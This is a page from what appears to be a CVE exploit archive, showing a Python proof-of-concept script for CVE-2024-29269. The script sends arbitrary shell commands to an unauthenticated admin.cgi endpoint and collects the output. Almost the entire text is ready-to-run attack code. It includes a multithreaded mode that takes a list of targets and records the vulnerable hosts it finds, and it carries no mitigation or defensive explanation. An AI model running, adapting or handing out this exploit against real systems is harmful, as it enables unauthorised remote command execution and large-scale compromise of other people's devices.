4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-29269.py PY
import requests
import xml.etree.ElementTree as ET
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
from concurrent.futures import ThreadPoolExecutor

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


banner='''

   ___         __    ____   ___ ____  _  _        ____   ___ ____   __   ___  
  / __\/\   /\/__\  |___ \ / _ \___ \| || |      |___ \ / _ \___ \ / /_ / _ \ 
 / /   \ \ / /_\_____ __) | | | |__) | || |_ _____ __) | (_) |__) | '_ \ (_) |
/ /___  \ V //_|_____/ __/| |_| / __/|__   _|_____/ __/ \__, / __/| (_) \__, |
\____/   \_/\__/    |_____|\___/_____|  |_|      |_____|  /_/_____|\___/  /_/ 
                                                                              

                                                    PowerBy:YongYe_Security

'''

def check_target(target, cmd):
    url = f"{target}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={cmd}"
    
    headers = {
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Connection": "close"
    }

    try:
        response = requests.get(url, headers=headers, verify=False, timeout=5)
        result_lines = []
        result_text = f"{response.status_code}\n"
        response_data = response.text
        root = ET.fromstring(response_data)
        cmd_results = root.findall(".//CmdResult")
        if cmd_results:
            with open('result.txt', 'a') as f:
                f.write(f'{target}\n')
            for index, cmd_result in enumerate(cmd_results, start=1):
                Command_result = cmd_result.text.strip()
                if index == 1:
                    print(f"\t[+]{target}\t\t{Command_result}")
                else:
                    print(f"\t\t{' ':<{len(target)+10}}{Command_result}")
    except Exception as e:
        pass

print(banner)
parser = argparse.ArgumentParser(description='Python3 CVE-2024-29269.py --help')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', dest='target', help='Target URL')
group.add_argument('-f', '--file', dest='file', help='Target File')
parser.add_argument('-c', '--cmd', dest='cmd', default='id', help='Cmd')
parser.add_argument('-t', '--threads', dest='threads', type=int, default=10, help='Number of threads')
args = parser.parse_args()

if args.target:
    target = args.target
    check_target(target, args.cmd)
elif args.file:
    with open(args.file, 'r') as file:
        lines = file.readlines()
        targets = [line.strip() if line.startswith(("http://", "https://")) else f"http://{line.strip()}" for line in lines]
    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        executor.map(lambda t: check_target(t, args.cmd), targets)